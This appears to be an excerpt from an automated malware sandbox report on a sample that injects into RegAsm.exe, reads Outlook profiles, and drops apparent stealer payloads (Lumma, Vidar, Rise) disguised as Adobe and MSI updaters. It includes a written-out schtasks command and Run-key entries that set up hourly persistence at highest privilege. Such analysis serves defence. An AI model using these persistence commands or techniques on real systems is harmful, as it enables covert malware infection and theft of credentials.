Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: acgenral.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 1kBeqS7E3z.exe

Static file information: File size 1885184 > 1048576

Source: 1kBeqS7E3z.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x193c00

Source: 1kBeqS7E3z.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 1kBeqS7E3z.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004595B8 LoadLibraryA,GetProcAddress,MessageBoxA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,GetProcessId,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,SetThreadExecutionState,SetThreadExecutionState,SetThreadExecutionState,

3_2_004595B8

Source: sqlt[1].dll.23.dr

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3BA14 push ecx; ret	0_2_00B3BA27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433F59 push ecx; ret	3_2_00433F6C
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003BA14 push ecx; ret	11_2_0003BA27
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1BA14 push ecx; ret	12_2_00A1BA27
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074BA24 push ecx; ret	22_2_0074BA37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B771BF9 push ecx; ret	23_2_1B914C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7710C8 push ecx; ret	23_2_1B973552

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_22594e13276480dd456a8441babc227b	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR" /sc HOURLY /rl HIGHEST

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_22594e13276480dd456a8441babc227b	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_22594e13276480dd456a8441babc227b	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004EE170 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_004EE170

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
